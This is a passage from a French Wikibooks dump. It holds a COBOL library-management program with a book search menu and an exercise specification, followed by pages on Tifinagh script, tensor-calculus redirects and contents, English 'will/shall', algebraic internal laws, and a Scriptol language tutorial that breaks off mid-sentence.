= 1 PERFORM RCH1 ELSE IF C = 2 PERFORM RCH2 ELSE IF C = 3 PERFORM RCH3 ELSE IF C = 4 PERFORM RCH4. PERFORM F-RCH. D-RCH. PERFORM MENU3. ACCEPT C. OPEN INPUT FLIVRE. *//listing--------------------------- * (RCH0) * [X] (CH0) [D-] * -c2-> *C2: SLIV = "10" *---------------------------------- RCH0. PERFORM D-RCH0. PERFORM CH0 UNTIL SLIV = "10". *------------------- D-RCH0. MOVE LOW-VALUE TO COD OF ENR-LIV. START FLIVRE KEY IS NOT < COD OF ENR-LIV. CH0. READ FLIVRE NEXT. MOVE CORR ENR-LIV TO ENR-TMP. DISPLAY ENR-TMP. *//par code------------------------- * (RCH1) * [F-] (CH1) [D-] * -c3-> *c3: SLIV = "00" *---------------------------------- RCH1. PERFORM D-RCH1. PERFORM CH1 UNTIL SLIV = "00". PERFORM F-RCH1. *------------------- D-RCH1. DISPLAY "CODE ?". ACCEPT COD OF ENR-LIV. READ FLIVRE. CH1. DISPLAY "LIVRE NON TROUVE / CODE ?". ACCEPT COD OF ENR-LIV. READ FLIVRE. F-RCH1. MOVE COD OF ENR-LIV TO TMPX. MOVE CORR ENR-LIV TO ENR-TMP. DISPLAY ENR-TMP. *//par titre--------------------------- * (RCH2) * [F-] (CH2) [D-] * -c4-> *c4: SLIV = "00" *---------------------------------- RCH2. PERFORM D-RCH2. PERFORM CH2 UNTIL SLIV = "00". PERFORM F-RCH2. *------------------- D-RCH2. DISPLAY "TITRE ?". ACCEPT TITRE OF ENR-LIV. READ FLIVRE KEY IS TITRE OF ENR-LIV. CH2. DISPLAY "TITRE NON TROUVE : TITRE ?". ACCEPT TITRE OF ENR-LIV. READ FLIVRE KEY IS TITRE OF ENR-LIV. F-RCH2. MOVE COD OF ENR-LIV TO TMPX. MOVE CORR ENR-LIV TO ENR-TMP. DISPLAY ENR-TMP. *//par autheur------------------------- * (RCH3) * [x] (CH4) [X] (CH3) [D-] * -c6-> -c5-> *c5: SLIV = "00" *c6: AUTHEUR OF ENR-LIV NOT = TXT OR SLIV = "10" *---------------------------------- RCH3. PERFORM D-RCH3. PERFORM CH3 UNTIL SLIV = "00". PERFORM CH4 UNTIL AUTHEUR OF ENR-LIV NOT = TXT OR SLIV = "10" - . *------------------- D-RCH3. DISPLAY "AUTHEUR ?". ACCEPT TXT. MOVE TXT TO AUTHEUR OF ENR-LIV. READ FLIVRE KEY IS AUTHEUR OF ENR-LIV. CH3. DISPLAY "AUTHEUR NON TROUVE". ACCEPT AUTHEUR OF ENR-LIV. READ FLIVRE KEY IS AUTHEUR OF ENR-LIV. CH4. MOVE CORR ENR-LIV TO ENR-TMP. DISPLAY ENR-TMP. READ FLIVRE NEXT. *//par theme------------------------- * (RCH4) * * [X] (CH6) [I-] (CH5) [D-] * -c8-> -c7-> * * .ch6 -c01- * [F-] (X) (CMN) [X] * *c01: THEME OF ENR-LIV = C *c7 : C POSITIVE AND C NOT > CPT *c8 : SLIV = "10" *---------------------------------- RCH4. PERFORM D-RCH4. PERFORM CH5 UNTIL C POSITIVE AND C NOT > CPT. PERFORM I-RCH4. PERFORM CH6 UNTIL SLIV = "10". CH6. IF THEME OF ENR-LIV = C PERFORM CMN. PERFORM F-CH6. *------------------- D-RCH4. PERFORM THE. DISPLAY "THEME ?". ACCEPT C. CH5. DISPLAY "THEME ?". ACCEPT C. I-RCH4. READ FLIVRE NEXT. CMN. MOVE CORR ENR-LIV TO ENR-TMP. DISPLAY ENR-TMP. F-CH6. READ FLIVRE NEXT. *-------test par enr-tmp.theme----- * RCH4. * PERFORM D-RCH4. * PERFORM CH5 UNTIL C POSITIVE AND C NOT > CPT. * PERFORM I-RCH4. * PERFORM CH6 UNTIL SLIV = "00". * PERFORM CH7 UNTIL SLIV = "23" OR SLIV = "10". * * D-RCH4. * PERFORM THE. * DISPLAY "THEME ?". * ACCEPT C. * CH5. * DISPLAY "THEME ?". * ACCEPT C. * I-RCH4. * MOVE C TO THEME OF ENR-TMP. * READ FLIVRE KEY IS THEME OF ENR-TMP. * CH6. * PERFORM CH5. * MOVE C TO THEME OF ENR-TMP. * READ FLIVRE KEY IS THEME OF ENR-TMP. * CH7. * MOVE ENR-LIV TO ENR-TMP. * DISPLAY ENR-TMP. * READ FLIVRE NEXT. *---------------------------------- F-RCH. CLOSE FLIVRE. STOP "PAUSE". MOVE 1 TO FLG. *----------------------------------------------- *GESTION DES CLIENTS---------------------------- CLN. EXIT. *----------------------------------------------- *GESTION DES PRETS------------------------------ PRE. EXIT. *----------------------------------------------- *AFFICHER THEME--------------------------------- THE. DISPLAY (1, 1) ERASE. DISPLAY "LISTE DES THEMES // 0 - NOUVEAU THEME". PERFORM D-THE. PERFORM ATHE UNTIL EOF=1. PERFORM F-THE. *------------ D-THE. MOVE 0 TO EOF, CLE-THE. OPEN INPUT FTHEME. READ FTHEME NEXT AT END MOVE 1 TO EOF. ATHE. DISPLAY CLE-THE, " - ", DESC. READ FTHEME NEXT AT END MOVE 1 TO EOF. F-THE. MOVE CLE-THE TO CPT. CLOSE FTHEME. MOVE 1 TO FLG. *----------------------------------------------- *ADD new theme --------------------------------- NTH. PERFORM D-NTH. PERFORM RCH-THE UNTIL EOF = 1. PERFORM I-NTH. PERFORM NFO UNTIL RAYON POSITIVE AND QT-MAX POSITIVE. PERFORM F-NTH. RCH-THE. PERFORM DMY. IF DSC-TMP = DESC PERFORM THE-KO ELSE PERFORM DMY. PERFORM F-RCH-THE. *---------------- D-NTH. OPEN I-O FTHEME. DISPLAY "NOUVEAU THEME ?". ACCEPT DSC-TMP. MOVE 0 TO EOF. READ FTHEME NEXT; AT END MOVE 1 TO EOF. THE-KO. DISPLAY "TITRE EXISTANT : ", CLE-THE, " - ", DESC. CLOSE FTHEME. PERFORM D-NTH. F-RCH-THE. READ FTHEME NEXT; AT END MOVE 1 TO EOF. I-NTH. MOVE DSC-TMP TO DESC. DISPLAY "RAYON / QT-MAX ?". ACCEPT RAYON. ACCEPT QT-MAX. NFO. DISPLAY "RAYON / QT-MAX ?". ACCEPT RAYON. ACCEPT QT-MAX. F-NTH. ADD 1 TO CLE-THE. WRITE ENR-THE INVALID KEY DISPLAY "ERROR", STHE. CLOSE FTHEME. *----------------------------------------------- *UTILS------------------------------------------ DMY. EXIT. *\ERREURS----------------------- ERR. EXIT. *MENUS------------------------------------------ MENU1. DISPLAY (1, 1) ERASE. DISPLAY "1/ GESTION DES LIVRES". DISPLAY "2/ GESTION DES CLIENTS". DISPLAY "3/ GESTION DES EMPRUNTS". DISPLAY "4/ QUITTER". MENU2. DISPLAY (1, 1) ERASE. DISPLAY "1/ AJOUTER NOUVEAU LIVRE". DISPLAY "2/ AJOUTER NOUVEL EXEMPLAIRE". DISPLAY "3/ MODIFIER UN LIVRE". DISPLAY "4/ RECHERCHER". DISPLAY "5/ QUITTER". MENU3. DISPLAY (1, 1) ERASE. DISPLAY "0/ LISTER TOUS LES LIVRES". DISPLAY "1/ PAR CODE". DISPLAY "2/ PAR TITRE". DISPLAY "3/ PAR AUTHEUR". DISPLAY "4/ PAR THEME". DISPLAY "5/ QUITTER". </pre> }} <b>? Rajouter au programme de gestion de bibliotheque les modules CLIENT, PRET et COMMANDE ?</b> :+ Ajouter au module recherche de livres une option "par debut de titre". :+ Effacer un livre. :A/ Fichier CLIENT (indexe) ::+ Fichier sequentiel contenant le dernier N°Client utiliser pour l'attribution des N° ::+ Max trois avertissements par client pour pret ::CP : N°Client (annee (99) + num (9(4))), nom, prenom, adresse, #livre en pret(9), #avertissements(9) ::1/ New client ::2/ Modifier client ::3/ Effacer client :B/ Fichier PRET (indexe) ::CP : N°Membre (x(3)), n°livre (x(3)), date emprunt ::+ Max 5 prets par client::1/ Encodage ::2/ Modification ::3/ Retour de livres (N°Client, N°Livre) :::-Bon etat remis en LIVRE :::-Sinon (A commander) ::Mise a jour dans fichiers lies :C/ Fichier COMMANDE (sequentiel) 1 par theme ::N°Livre, QT à commander :D/ Fichier d'impression pour les sorties (creation de fichiers tampons autorisee) ::-gestion des retard (tous les mois) ::-liste client (alphabetique) :: {{Boîte déroulante|titre= :: GESTION DE BIBLIOTHEQUE // PARTIE 2 :: à optimiser|contenu= <pre> | | | | | | | | | | | | | | | | | * GESTION DE BIBLIOTHEQUE // PARTIE 2 *----------------------------------------------- </pre> }} =liens= *http://home.nordnet.fr/~mferon/cobol/=liens= *http://home.nordnet.fr/~mferon/cobol/ Enseignement du bérbére 7534 36101 2006-03-05T17:14:13Z 213.169.100.97 Le berbère est noté, depuis le milieu du premier millénaire avant l'ère chrétienne, au moyen d'un alphabet, le tifinagh http://fr.wikipedia.org/wiki/Tifinagh ou libyco-berbère. Il comporte des voyelles et des consonnes, dont il existe plusieurs variantes. Cet alphabet est utilisé uniquement par le peuple Touareg. Depuis le début du XXe siècle, le berbère a surtout été écrit au moyen de l'alphabet latin ou de l'alphabet arabe. Cependant, des propositions de tifinagh standard ont vu le jour à partir de la fin du XXe siècle. L'Académie berbère, travailla sur une version, révisée ensuite par le professeur Salem Chaker de l'INALCO. L'IRCAM officialisa un alphabet tifinagh en 2003. Calcul tensoriel/Coordonnées curvilignes/Équation géodésique 7535 45746 2006-06-26T07:42:06Z Guillaumito 46 correction double redirection #REDIRECT [[Calcul tensoriel/Géodésiques/Équation géodésique]] Calcul tensoriel/Coordonnées curvilignes/Tenseur métrique 7536 45747 2006-06-26T07:43:06Z Guillaumito 46 correction double redirection #REDIRECT [[Calcul tensoriel/Notions élémentaires/Tenseur métrique]] Calcul tensoriel/Notions Élémentaires/Tenseur métrique 7537 36109 2006-03-05T18:18:54Z Fapae 1199 [[Calcul tensoriel/Notions Élémentaires/Tenseur métrique]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Tenseur métrique]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Tenseur métrique]] Calcul tensoriel/Coordonnées curvilignes/Sommaire 7538 36112 2006-03-05T18:25:08Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Sommaire]] déplacé vers [[Calcul tensoriel/Sommaire]] #REDIRECT [[Calcul tensoriel/Sommaire]] Calcul tensoriel/Coordonnées curvilignes/Système de coordonnées 7539 45740 2006-06-26T07:38:08Z Guillaumito 46 correction double redirection #REDIRECT [[Calcul tensoriel/Système de coordonnées]] Calcul tensoriel/Changement de système de coordonnées 7540 36117 2006-03-05T18:33:54Z Fapae 1199 [[Calcul tensoriel/Changement de système de coordonnées]] déplacé vers [[Calcul tensoriel/Système de coordonnées]] #REDIRECT [[Calcul tensoriel/Système de coordonnées]] Calcul tensoriel/Coordonnées curvilignes/Système de coordonnées/Transformations 7542 45744 2006-06-26T07:40:46Z Guillaumito 46 correction double redirection #REDIRECT [[Calcul tensoriel/Notions élémentaires/Transformations entre systèmes de coordonnées]] Calcul tensoriel/Système de coordonnées/Transformations 7543 45743 2006-06-26T07:40:31Z Guillaumito 46 correction double redirection #REDIRECT [[Calcul tensoriel/Notions élémentaires/Transformations entre systèmes de coordonnées]] Calcul tensoriel/Notions élémentaires/Systèmes de coordonnées 7544 36506 2006-03-07T22:15:01Z Fapae 1199 /* [[Calcul tensoriel/Notions élémentaires/Systèmes de coordonnées/Notations pour les dérivées partielles|Notations pour les dérivées partielles]] */ ==== [[Calcul tensoriel/Notions élémentaires/Systèmes de coordonnées/Transformations|Transformations]] ==== {{:Calcul tensoriel/Notions élémentaires/Systèmes de coordonnées/Transformations}} ==== [[Calcul tensoriel/Notions élémentaires/Notations pour les dérivées partielles|Notations pour les dérivées partielles]] ==== {{:Calcul tensoriel/Notions élémentaires/Notations pour les dérivées partielles}} Calcul tensoriel/Notions élémentaires 7545 37910 2006-03-16T09:25:03Z Fapae 1199 /* [[Calcul_tensoriel/Notions élémentaires/Dérivée covariante|Dérivée covariante]] */ === [[Calcul tensoriel/Notions élémentaires/Transformations entre systèmes de coordonnées|Transformations entre systèmes de coordonnées]] === {{:Calcul tensoriel/Notions élémentaires/Transformations entre systèmes de coordonnées}} === [[Calcul tensoriel/Notions élémentaires/Notations pour les dérivées partielles|Notations pour les dérivées partielles]] === {{:Calcul tensoriel/Notions élémentaires/Notations pour les dérivées partielles}} === [[Calcul tensoriel/Notions élémentaires/Base naturelle|Base naturelle]] === {{:Calcul tensoriel/Notions élémentaires/Base naturelle}} === [[Calcul_tensoriel/Notions élémentaires/Tenseurs|Tenseurs]] === {{:Calcul_tensoriel/Notions élémentaires/Tenseurs}} === [[Calcul_tensoriel/Notions élémentaires/Produit tensoriel|Produit tensoriel]] === {{:Calcul_tensoriel/Notions élémentaires/Produit tensoriel|Produit tensoriel}} === [[Calcul_tensoriel/Notions élémentaires/Tenseur métrique|Tenseur métrique]] === {{:Calcul_tensoriel/Notions élémentaires/Tenseur métrique}} === [[Calcul_tensoriel/Notions élémentaires/Transformation contraco|Transformation contraco]] === {{:Calcul_tensoriel/Notions élémentaires/Transformation contraco}} === [[Calcul_tensoriel/Notions élémentaires/Contraction|Contraction]] === {{:Calcul_tensoriel/Notions élémentaires/Contraction}} === [[Calcul_tensoriel/Notions élémentaires/Produit scalaire|Produit scalaire]] === {{:Calcul_tensoriel/Notions élémentaires/Produit scalaire}} === [[Calcul_tensoriel/Notions élémentaires/Tenseur dualiseur|Tenseur dualiseur]] === {{:Calcul_tensoriel/Notions élémentaires/Tenseur dualiseur}} === [[Calcul_tensoriel/Notions élémentaires/Produit vectoriel|Produit vectoriel]] === {{:Calcul_tensoriel/Notions élémentaires/Produit vectoriel}} === [[Calcul_tensoriel/Notions élémentaires/Dérivée covariante|Dérivée covariante]] === ==== [[Calcul_tensoriel/Notions élémentaires/Dérivée partielle d'un vecteur|Dérivée partielle d'un vecteur]] ==== ==== [[Calcul_tensoriel/Notions élémentaires/Symbole de Christoffel|Symbole de Christoffel]] ==== {{:Calcul_tensoriel/Notions élémentaires/Symbole de Christoffel}} ==== [[Calcul tensoriel/Notions élémentaires/Symbole de Christoffel/Fonction du tenseur métrique|Symbole de Christoffel fonction du tenseur métrique]] ==== {{:Calcul_tensoriel/Notions élémentaires/Symbole de Christoffel/Fonction du tenseur métrique}} ==== [[Calcul tensoriel/Notions élémentaires/Symbole de Christoffel/Contraction|Contraction du symbole de Christoffel]] ==== {{:Calcul_tensoriel/Notions élémentaires/Symbole de Christoffel/Contraction}} ==== [[Calcul_tensoriel/Notions élémentaires/Symbole de Christoffel/Changement de coordonnées|Transformation du symbole de Christoffel lors d'un changement de coordonnées]] ==== {{:Calcul_tensoriel/Notions élémentaires/Symbole de Christoffel/Changement de coordonnées}} ==== [[Calcul_tensoriel/Notions élémentaires/Tenseur métrique/Pseudo-contraction de la dérivée partielle|Pseudo-contraction de la dérivée partielle du tenseur métrique]] ==== {{:Calcul_tensoriel/Notions élémentaires/Tenseur métrique/Pseudo-contraction de la dérivée partielle}} ==== [[Calcul_tensoriel/Notions élémentaires/Tenseur métrique/Nullité de la dérivée covariante|Nullité de la dérivée covariante du tenseur métrique]] ==== {{:Calcul_tensoriel/Notions élémentaires/Tenseur métrique/Nullité de la dérivée covariante}} ==== [[Calcul_tensoriel/Notions élémentaires/Tenseur dualiseur/Nullité de la dérivée covariante|Nullité de la dérivée covariante du tenseur dualiseur]] ==== {{:Calcul_tensoriel/Notions élémentaires/Tenseur dualiseur/Nullité de la dérivée covariante}} ==== [[Calcul_tensoriel/Notions élémentaires/Dérivée et symbole de Christoffel|Dérivée et symbole de Christoffel]] ==== {{:Calcul_tensoriel/Notions élémentaires/Dérivée et symbole de Christoffel}} === [[Calcul_tensoriel/Notions élémentaires/Système de coordonnées localement géodésique|Système de coordonnées localement géodésique]] === {{:Calcul_tensoriel/Notions élémentaires/Système de coordonnées localement géodésique}} === Opérateurs différentiels === ==== [[Calcul_tensoriel/Notions élémentaires/Gradient|Gradient]] ==== {{:Calcul_tensoriel/Notions élémentaires/Gradient}} ==== [[Calcul_tensoriel/Notions élémentaires/Divergence|Divergence]] ==== {{:Calcul_tensoriel/Notions élémentaires/Divergence}} ==== [[Calcul_tensoriel/Notions élémentaires/Laplacien|Laplacien]] ==== {{:Calcul_tensoriel/Notions élémentaires/Laplacien}} ==== [[Calcul_tensoriel/Notions élémentaires/Rotationnel|Rotationnel]] ==== {{:Calcul_tensoriel/Notions élémentaires/Rotationnel}} === [[Calcul_tensoriel/Notions élémentaires/Tenseur de courbure|Tenseur de courbure]] === {{:Calcul_tensoriel/Notions élémentaires/Tenseur de courbure}} ==== [[Calcul tensoriel/Notions élémentaires/Tenseur de courbure/Expression I|Expression I]] ==== {{:Calcul tensoriel/Notions élémentaires/Tenseur de courbure/Expression I}} ==== [[Calcul tensoriel/Notions élémentaires/Tenseur de courbure/Expression II|Expression II]] ==== {{:Calcul tensoriel/Notions élémentaires/Tenseur de courbure/Expression II}} ==== [[Calcul tensoriel/Notions élémentaires/Tenseur de courbure/Propriétés|Propriétés]] ==== {{:Calcul tensoriel/Notions élémentaires/Tenseur de courbure/Propriétés}} ==== [[Calcul tensoriel/Notions élémentaires/Tenseur de courbure/Symétries|Symétries]] ==== {{:Calcul tensoriel/Notions élémentaires/Tenseur de courbure/Symétries}} ==== [[Calcul tensoriel/Notions élémentaires/Tenseur de courbure/Relation cyclique|Relation cyclique]] ==== {{:Calcul tensoriel/Notions élémentaires/Tenseur de courbure/Relation cyclique}} ==== [[Calcul tensoriel/Notions élémentaires/Tenseur de courbure/Identité de Bianchi|Identité de Bianchi]] ==== {{:Calcul tensoriel/Notions élémentaires/Tenseur de courbure/Identité de Bianchi}} ---- En contractant le tenseur de courbure entre un indice de la première paire et un indice de la seconde paire, on obtient le [[Calcul tensoriel/Notions élémentaires/Tenseur de Ricci|tenseur de Ricci]], clé des [[Calcul tensoriel/Notions élémentaires/Équations d'Einstein|équations d'Einstein]]. === [[Calcul_tensoriel/Notions élémentaires/Tenseur de Ricci|Tenseur de Ricci]] === {{:Calcul_tensoriel/Notions élémentaires/Tenseur de Ricci}} Calcul tensoriel/Notions élémentaires/Notations pour les dérivées partielles 7546 43402 2006-05-29T11:28:53Z Fapae 1199 Utilisation du : Pour les dérivées partielles par rapport aux coordonnées, on utilise indifféremment les notations : <math>\frac{\partial f}{\partial x^i} = \partial_i f = f_{,i}</math> Anglais : will, shall 7547 36128 2006-03-05T18:55:42Z Bisoud 1216 Will est le plus souvent la marque du futur. Shall est une forme plus soutenue de will qui ne s'utilise plus beaucoup. Lorsqu'on l'utilise, toutefois, c'est de manière emphatique. Exemple : Shall we dance ? (Vous dansez ?) Forme de politesse. Exemple tiré de la Bible : Thou shalt not kill. (forme ancienne de shall) Calcul tensoriel/Coordonnées curvilignes/Base naturelle locale 7548 45738 2006-06-26T07:36:26Z Guillaumito 46 correction double redirection #REDIRECT [[Calcul tensoriel/Notions élémentaires/Base naturelle]] Calcul tensoriel/Notions élémentaires/Système de coordonnées 7549 36146 2006-03-05T20:31:24Z Fapae 1199 [[Calcul tensoriel/Notions élémentaires/Système de coordonnées]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Systèmes de coordonnées]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Systèmes de coordonnées]] Calcul tensoriel/Notions élémentaires/Système de coordonnées/Transformations 7550 45742 2006-06-26T07:39:33Z Guillaumito 46 correction double redirection #REDIRECT [[Calcul tensoriel/Notions élémentaires/Transformations entre systèmes de coordonnées]] Calcul tensoriel/Notions élémentaires/Système de coordonnées/Notations pour les dérivées partielles 7551 36152 2006-03-05T20:38:21Z Fapae 1199 [[Calcul tensoriel/Notions élémentaires/Système de coordonnées/Notations pour les dérivées partielles]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Notations pour les dérivées partielles]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Notations pour les dérivées partielles]] Calcul tensoriel/Notions élémentaires/Systèmes de coordonnées/Transformations 7552 36154 2006-03-05T20:40:29Z Fapae 1199 [[Calcul tensoriel/Notions élémentaires/Systèmes de coordonnées/Transformations]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Transformations entre systèmes de coordonnées]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Transformations entre systèmes de coordonnées]] Calcul tensoriel/Coordonnées curvilignes/Transformation contraco 7553 36161 2006-03-05T20:51:42Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Transformation contraco]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Transformation contraco]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Transformation contraco]] Calcul tensoriel/Coordonnées curvilignes/Gradient 7554 36166 2006-03-05T21:00:20Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Gradient]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Gradient]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Gradient]] Calcul tensoriel/Notions élémentaires/Produit scalaire 7555 43408 2006-05-29T11:33:48Z Fapae 1199 Utilisation du : Le produit scalaire de deux vecteurs <math>a^i</math> et <math>b^j</math> est la [[Calcul tensoriel/Notions élémentaires#Contraction|contraction]] de leur [[Calcul tensoriel/Notions élémentaires#Produit tensoriel|produit tensoriel]]. Il s'exprime donc au moyen du [[Calcul tensoriel/Notions élémentaires#Tenseur métrique|tenseur métrique]] <math>g_{ij}</math> : : <math>\mathbf{a} \cdot \mathbf{b} = a^i b^j g_{ij}</math> C'est un tenseur d'ordre 0, indépendant du choix du système de coordonnées. Calcul tensoriel/Coordonnées curvilignes/Tenseur dualiseur 7556 36173 2006-03-05T21:28:59Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Tenseur dualiseur]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Tenseur dualiseur]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Tenseur dualiseur]] Algèbre:Lois 7557 36181 2006-03-05T21:40:13Z Orn 1218 Le terme de loi est assez vague et peut recouvrir beaucoup de notions très différentes. Il est donc difficile d'en donner une définition satisfaisante qui ne soit pas trop vague et qui recouvre tous les types de loi. =Première définition d'une loi= '''Définition''' : Soient ''A'',''B'',''C'' trois ensembles.</br> On appelle '''loi''', une '''application''' du produit cartésien ''A'' x ''B'' dans ''C''. Cette définition sert peu et n'apporte pas grand chose donc nous ne nous attarderons pas dessus. ='''Loi interne'''= ==Définition== : '''Définition''' Soit ''A'' un ensemble.</br> On appelle '''loi interne''', une application de ''A'' x ''A'' dans ''A''.</br> Si '''*''' est une loi interne, on note ''x'''''*'''''y'' l'image de (x,y) par '''*'''. '''Exemples''' : Voici quelques applications qui sont des lois internes. * <math>\begin{matrix}f : & \mathbb{R}\times\mathbb{R} & \rightarrow & \mathbb{R} \\ & (x,y) & \mapsto & x+y\\ \end{matrix}</math></br> * <math>\begin{matrix}g : & \mathbb{R}\times\mathbb{R} & \rightarrow & \mathbb{R} \\ & (x,y) & \mapsto & x*y\\ \end{matrix}</math> * <math>\begin{matrix}h : & ]-1,1[^2 & \rightarrow & ]-1,1[ \\ & (x,y) & \mapsto & \frac{x+y}{1+xy}\\ \end{matrix}</math> ==Loi commutative== '''Définition''' Soit ''A'' un ensemble.</br> Soit '''*''' une loi interne sur ''A''.</br> '''*''' est dite '''commutative''' si <math>\forall (x,y) \in A^2 \ x*y=y*x </math> '''Exemples''' : *<math>\begin{matrix}f : & \mathbb{R}\times\mathbb{R} & \rightarrow & \mathbb{R} \\ & (x,y) & \mapsto & x+y\\ \end{matrix}</math> est une loi interne commutative. *<math>\begin{matrix}f : & \mathbb{R}\times\mathbb{R} & \rightarrow & \mathbb{R} \\ & (x,y) & \mapsto & x-y\\ \end{matrix}</math> est une loi interne mais n'est pas commutative. ==Loi interne transitive== '''Définition''' Soit ''A'' un ensemble.</br> Soit '''*''' une loi interne sur ''A''.</br> '''*''' est dite '''transitive''' si <math>\forall (x,y,z) \in A^3 \ (x*y)*z=y*(x*z) </math> '''Exemples''' : *<math>\begin{matrix}f : & \mathbb{R}\times\mathbb{R} & \rightarrow & \mathbb{R} \\ & (x,y) & \mapsto & x+y\\ \end{matrix}</math> est une loi interne transitive. *<math>\begin{matrix}f : & \mathbb{R}\times\mathbb{R} & \rightarrow & \mathbb{R} \\ & (x,y) & \mapsto & x-y\\ \end{matrix}</math> est une loi interne mais n'est pas transitive. =Loi externe= Calcul tensoriel/Notions élémentaires/Tenseur dualiseur/Nullité de la dérivée covariante 7558 36274 2006-03-06T16:47:48Z Fapae 1199 La [[Calcul tensoriel/Notions élémentaires/Dérivée covariante|dérivée covariante]] du tenseur dualiseur est nulle : <math>*^{i_1 i_2 \ldots i_N}{}_{;j} = 0^{i_1 i_2 \ldots i_N}{}_{j}</math>. [[Calcul tensoriel/Notions élémentaires/Tenseur dualiseur/Nullité de la dérivée covariante/Démonstration|Démonstration]]. Calcul tensoriel/Notions élémentaires/Nullité de la dérivée covariante du Tenseur dualiseur 7559 36179 2006-03-05T21:38:43Z Fapae 1199 [[Calcul tensoriel/Notions élémentaires/Nullité de la dérivée covariante du Tenseur dualiseur]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Tenseur dualiseur/Nullité de la dérivée covariante]] #REDIRECT [[Calcul tensoriel/Notions élémentaires/Tenseur dualiseur/Nullité de la dérivée covariante]] Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques/Gradient 7560 36186 2006-03-05T22:51:18Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques/Gradient]] déplacé vers [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Gradient]] #REDIRECT [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Gradient]] Scriptol 7562 44337 2006-06-11T21:20:30Z 62.147.133.174 /* While let */ ==Le Langage de Programmation Scriptol== ===Une Syntaxe Claire=== Syntaxe de C++ for(int x = 0; x < 10; x++) { printf("%d\n", x); } Syntaxe de Scriptol for int x in 0 .. 9 print x Scriptol n'a pas besoin de point-virgule à la fin des instructions. La fin de ligne est aussi une fin d'instruction sauf si plusieurs instructions sont sur une même ligne, auquel cas on les sépare par un point-virgule. Si une instruction dépasse la ligne, le compilateur sait le reconnaitre. ===Conception objective=== Au contraire de C qui fut conçu en fonction des limitations matérielles, de Perl qui s'est ajouté des possibilités jour après jour, et autres langages qui dépendent de la fantaisie de leur auteur, Scriptol applique des règles objectives, et est proche de la syntaxe la plus utilisée au monde, celle de Xml. Xml est balisé et comme C à une syntaxe sur une ligne. Scriptol à une syntaxe sur une ligne (voir ci-dessus) et est balisé. for ... /for ===Opérateurs universels=== Scriptol n'utilise pas un opérateur pour des usages différents, mais un opérateur peut avoir des usages similaires dans des cas différents. Pas exemple, l'opérateur d'intervalle " .. " est utilisé: - comme intervalle dans la boucle for (voir plus haut). - comme intervalle de tableau ou texte (voir tableau). - comme intervalle dans une expression: if x in 0 .. 9 print "x dans l'intervalle" /if ===Les types du monde réel=== C et Pascal dans les années 70 ont inventé des types correspondant au matériel: char, long, short, char *, float, etc... Scriptol utilise des types correspondant au monde réel: text, number, integer, natural, real, array, dict, dir, etc... Lisibilité Un bloc de code C, compliqué et illisible... int x[] = { 1, 2, 3, 4 }; int i; for(i = 0; i < 4; i++) { if(x[i] == i) puts("dedans"); } peut être remplacé par une seule et claire instruction Scriptol: if j in { 1, 2, 3, 4 } print "dedans" ==Tableaux== ===Syntaxe commune=== array a = { 1, 2, 3 } C'est un tableau auquel on assigne un tableau litéral. On peut lui assigner un constructeur: array a = array( 1, 2, 3 ) Les tableaux sont des classes virtuelles en Scriptol et ont des méthodes, comme les autres types: text, dict, file, dir, etc... ===Les tableaux sont des piles=== Des élément peut être empilés, dépilés, inséré, soustraits. a.push(4) dyn x = a.pop() print x ===Itérateur=== On peut utiliser des itérateurs sur les tableaux. Les méthodes begin, inc, end, dec permettent de parcourir le contenu et retourner les éléments successifs. a.begin() ` aller au premier élément while a[] <> nil ` teste si la fin est atteinte print a[] ` afficher l'élément courant a.inc() ` aller au suivant /while ===Intervalle=== Des parties de tableaux peuvent être remplacés, insérés, supprimés, en indiçant un intervalle.<br> On assigne "nil" à un intervalle pour l'ôter du tableau. print a[x .. y] `affiche un sous-tableau. a[.. y] = b[1 .. 3]`remplacer l'intervale 0-y de a, par l'intervalle 1-3 de b. a[2 .. 8] = nil `oter les éléments dans l'intervalle 1-8. ==If== ===Syntaxe commune=== Pour un traitement conditionnel, l'instruction est le mot-clé "if" suivi d'une expression boolénnne, une liste d'instructions à exécuter ou non, selon la condition, et le mot-clé "/if". if x = 5 print "égal" /if On introduit une alternative par le mot-clé "else": quand la condition est fausse, une autre liste d'instructions peut re traité. if x = 5 print "égal" else print "différent" /if ===Structure une-ligne=== Quand le corps de la structure n'a qu'une instruction, et n'est pas une autre structure, la syntaxe peut être réduite en une seule ligne. if x = 5 print x Si l'instruction n'est pas une commande comme "print", "break", "continue" etc..., le mot-clé "let" est requis . If x = 5 let y + 1 ===If composite=== La structure peut êre étendue dans une construct plus étendu qui est à la fois un "if" et une structure "switch case", qui est aussi plus avancé que l'équivalent C car l'on peut tester tout type de variable. if x = 5: print "égal" > 5: print "plus" else print "moins" /if ==For In== ===Syntaxe commune=== for int x in 0 .. 10 print x /for ===Syntaxe une-ligne === Si le corps de la structure n'a qu'une seule instruction, une syntaxe simplifié en une ligne peut être utilisé: for int x in 0 .. 10 print x ===for in liste=== La structure de contrôle for peut parcourir un intervalle, mais aussi un texte ou un tableau. text hello = "hello" for text t in hello print t array a = { 1, 2, 3 } for dyn x in a print x ==Scan By== ===Syntaxe commune=== La structure scan permet de parcourir le contenu d'un ou plusieurs tableaux, et d'appliquer un traitement à chaque d'élément du (des) tableau(x). scan a a[] * a[] print a[] /scan L'élément courant est représenté par un indice vide. Exemple avec deux tableaux: scan a, b print a[] + b[] /scan ==Scan avec une fonction== Vous 